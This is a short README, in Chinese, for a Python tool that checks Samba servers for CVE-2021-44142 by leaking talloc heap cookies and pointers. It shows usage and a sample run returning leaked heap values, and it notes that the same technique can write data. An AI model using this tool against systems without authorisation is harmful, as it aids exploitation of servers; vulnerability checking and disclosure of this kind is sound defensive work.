一个用于检查 Samba 服务器是否存在 CVE-2021-44142 漏洞的工具
CVE-2021-44142 是 Samba 的 vfs_fruit 模块中的一个堆越界读写漏洞,在 2021 年 Pwn2Own Austin 上被用于攻击 Western Digital PR4100。它最初由 STAR Labs 的 Nguyễn Hoàng Thạch 和 Billy Jheng Bing-Jhong 发现。DEVCORE 的 Orange Tsai 也报告了该漏洞。本工作基于 0xsha 在 https://0xsha.io/blog/a-samba-horror-story-cve-2021-44142 上发布的一篇博客文章。
该工具通过转储 talloc 堆 cookie 和链表指针来演示 CVE-2021-44142 漏洞。类似的技术也可用于写入这些数据。
本工作在 0xsha 的基础上进行了扩展:
python check_vulnerable.py
usage: check_vulnerable.py [-h] [--password PASSWORD] server port share user
check_vulnerable.py: error: the following arguments are required: server, port, share, user
python check_vulnerable.py 192.168.1.183 445 TimeMachineBackup Guest
{
"vulnerable": true,
"heap_cookie_leak": "0xfc571370",
"heap_pointer_leak": "0x55e4e717b1b0",
"fail_reason": ""
}